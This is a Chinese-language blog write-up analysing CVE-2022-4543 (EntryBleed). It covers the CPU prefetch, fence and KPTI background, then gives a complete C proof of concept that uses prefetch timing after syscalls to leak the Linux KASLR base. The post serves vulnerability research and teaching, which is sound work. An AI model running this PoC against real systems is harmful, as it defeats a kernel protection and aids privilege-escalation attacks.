Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

【分析&复现】CVE-2022-4543 分析

CVE-2022-4543 是 Linux 的一个侧信道攻击信息泄漏漏洞。

概述

基础知识

x64 架构的预取机制

程序访问的局部性原理:时间局部性(temporal locality)和空间局部性(spatial locality)。在 CPU 中,通过高速缓冲技术实现。

x86/x64 体系结构的 CPU 包含了 L1-Cache、L2-Cache、LLC(Last Level Cache,L3-Cache)等高速缓存。

x86/x64 体系结构的 CPU 定义了软件预取和硬件预取:

  • 硬件预取:在一定的策略被触发时,CPU 将进行硬件预取,将数据按照不同的策略加载到不同层级的 Cache 当中。
  • 软件预取:通过程序员手动或编译器自动在代码中插入预取指令,从而向 CPU 发送预取提示,让 CPU 进行数据预取,从而提高程序的性能。x64 架构 CPU 使用 PREFETCHh 类指令(PREFETCHT0~T2、PREFETCHNTA)作为预取指令,它包含在 SSE 指令集当中,几乎所有 Intel CPU 都支持 SSE 指令集。PREFETCHh 类指令建议 CPU 加载数据到 Cache 当中,且该类指令不需要特权,执行失败也不会导致异常。

屏障指令

根据内存一致性模型,多核多线程的程序无约束执行的结果是不可确定的,因此为限制指令的执行顺序,便引入了特殊的存储器屏障指令(memory fence)。屏障(fence)指令:FENCE 指令用于限定“数据”存储器访问的执行顺序。

如果在程序中添加一条 FENCE 指令,则该 FENCE 能够保证“在 FENCE 前所有指令的数据访存结果”必须比“在 FENCE 后所有指令数据访存结果”先被观测到,即 FENCE 前的访存指令必须比 FENCE 后的访存指令。

乱序执行

乱序执行(out-of-order execution)是指 CPU 采用了允许将多条指令不按程序规定的顺序分开发送给各相应电路单元处理的技术。该技术提高了 CPU 的运行程序的速度。

侧信道攻击

在计算机安全中,侧信道攻击是基于计算机协议或算法的基本实现方式而可以收集的额外信息的攻击,而不是基于漏洞或算法本身。时间信息、功耗、电磁泄漏和声音等都可以作为额外信息,用于旁道攻击的进行:

  • 缓存攻击:基于攻击者监视受害者在虚拟化环境或云服务类型的共享物理系统中进行缓存访问的能力的攻击。
  • 计时攻击:基于测量各种计算(例如将攻击者的给定密码与受害者的未知密码进行比较)执行的时间的攻击。
  • 数据残留:敏感数据在被删除后被读取。

Linux KPTI 保护

2018 年 1 月,meltdown 漏洞公布,Linux 内核基于早期的 KAISER 安全防护,开发出 KPTI(Kernel page-table isolation)防护,用于缓解 CPU 侧信道攻击问题。在 KPTI 机制中,内核态空间的内存和用户态空间的内存的隔离进一步得到了增强。而问题就出在此。

CVE-2022-4543

用户态的页表只包括用户空间内存的页表以及必要的内核空间内存的页表,如用于处理系统调用、中断等信息的内存。但这些仍包括在用户态页表中的内核空间内存的页表却没有进行随机化,而是直接使用其在内核中的实际地址映射到了用户空间。

这一行为导致攻击者可以通过侧信道攻击来泄漏相关内核函数的实际地址。当程序执行系统调用时,会将仍映射在用户空间的 entry_SYSCALL_64 内核函数加载到 CPU cache 当中。在这个时候,通过 prefetch 指令去预取相关空间地址以试图命中该条 cache,如果命中的话,因为相关数据已经预取到 CPU 的 cache 当中了,因此耗时应该是最小的。

PoC 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull
#define entry_SYSCALL_64_offset 0x400000ull

uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile (".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r" (a), "=r" (b), "=r" (c), "=r" (d)
: "r" (addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}

#define STEP 0x100000ull
#define SCAN_START KERNEL_LOWER_BOUND + entry_SYSCALL_64_offset
#define SCAN_END KERNEL_UPPER_BOUND + entry_SYSCALL_64_offset

#define DUMMY_ITERATIONS 5
#define ITERATIONS 100
#define ARR_SIZE (SCAN_END - SCAN_START) / STEP

uint64_t leak_syscall_entry(void)
{
uint64_t data[ARR_SIZE] = {0};
uint64_t min = ~0, addr = ~0;

for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
{
uint64_t test = SCAN_START + idx * STEP;
syscall(104);
uint64_t time = sidechannel(test);
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}

for (int i = 0; i < ARR_SIZE; i++)
{
data[i] /= ITERATIONS;
if (data[i] < min)
{
min = data[i];
addr = SCAN_START + i * STEP;
}
printf("%llx %ld\n", (SCAN_START + i * STEP), data[i]);
}

return addr;
}

int main()
{
printf ("KASLR base %llx\n", leak_syscall_entry() - entry_SYSCALL_64_offset);
}

参考文章:

https://www.willsroot.io/2022/12/entrybleed.html

http://abcdxyzk.github.io/blog/2014/03/28/debug-memory-prefetch/

https://zhuanlan.zhihu.com/p/299596490

https://ctf-wiki.org/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti/